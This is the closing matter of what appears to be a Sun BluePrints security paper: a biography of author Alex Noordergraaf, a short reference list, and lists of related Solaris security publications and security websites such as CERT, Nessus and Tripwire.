Alex Noordergraaf has over 10 years experience in the areas of computer and network security. As the security architect of the Enterprise Server Products (ESP) group at Sun Microsystems, he is responsible for the security of Sun servers. He is the driving force behind the very popular freeware Solaris Security Toolkit. Prior to his role in ESP, he was a senior staff engineer in the Enterprise Engineering (EE) group, where he developed, documented, and published security best practices through the Sun BluePrints Program. Published topics include security for Sun Fire™ 12K servers, Sun Fire 15K servers, Sun Fire Midframe servers, N-tier environments, the Solaris OE, and the Solaris OE network settings. He co-authored the Sun BluePrints publication, *JumpStart™ Technology: Effective Use in the Solaris™ Operating Environment*.

Prior to his role in EE, he was a senior security architect with Sun Professional Services^{SM} (SunPS) where he worked with many Fortune 500 companies on projects that included security assessments, architecture development, architectural reviews, and policy/procedure review and development. He developed and delivered an enterprise security assessment methodology and training curriculum that is used worldwide by SunPS^{SM}. His customers included major telecommunication firms, financial institutions, ISPs, and ASPs. Before joining Sun, Alex was an independent contractor specializing in network security. His clients included BTG, Inc. and Thinking Machines Corporation.

References

1. *Webster's Third New International Dictionary*, Merriam-Webster, Inc., Springfield, MA, 1986, page 2442.
2. Common Vulnerability and Exposures (CVE) Web site: `http://cve.mitre.org`
3. NMap web site: `http://www.nmap.org`
4. Nessus web site: `http://www.nessus.org`

Related Resources

Publications

- Dasan, Vasanthan, Noordergraaf, Alex, and Ordica, Lou. *The Solaris Fingerprint Database—A Security Tool for Solaris Software and Files*, Sun BluePrints OnLine, May 2001
- Deeths, David and Brunette, Glenn. *Using NTP to Control and Synchronize System Clocks - Part II: Basic NTP Administration and Architecture,* Sun BluePrints OnLine, August 2001.
- Noordergraaf, Alex. *Building Secure N-Tier Environments,* Sun BluePrints OnLine, October 2000.
- Noordergraaf, Alex. *Solaris Operating Environment Minimization for Security: Updated for the Solaris 8 Operating Environment,* Sun BluePrints OnLine, November 2000.
- Noordergraaf, Alex and Brunette, Glenn. *The Solaris Security Toolkit—Quick Start: Updated for Version 0.3,* Sun BluePrints OnLine, June 2001.
- Noordergraaf, Alex and Watson, Keith. *Solaris Operating Environment Security: Updated for the Solaris 8 Operating Environment*, Sun BluePrints OnLine, April 2001.
- Prosise, Chris and Shah, Saumil Udayan. *At the Root of Rootkits*, CNET Online, `http://builder.cnet.com/webbuilding/0-7532-8-4561014-1.html?tag=st.bl.7532.edt.7532-8-4561014`, January 25, 2001.

- Reid, Jason M and Watson, Keith. *Building and Deploying OpenSSH in the Solaris Operating Environment*, Sun BluePrints OnLine, July 2001.
- Watson, Keith and Noordergraaf, Alex. *Solaris Operating Environment Network Settings for Security: Updated for the Solaris 8 Operating Environment*, Sun BluePrints OnLine, December 2000.

Web Sites:

- Sun BluePrints OnLine: `http://sun.com/blueprints`
- TripWire: `http://www.tripwire.com`
- Chkrootkit: `http://www.chkrootkit.org/`
- Nessus: `http://www.nessus.org`
- NMap: `http://www.nmap.org`
- SecurityFocus: `http://www.securityfocus.com`
- CERT: `http://www.cert.org`
- SANS Institute: `http://www.sans.org`
- SunSolve: `http://sunsolve.sun.com`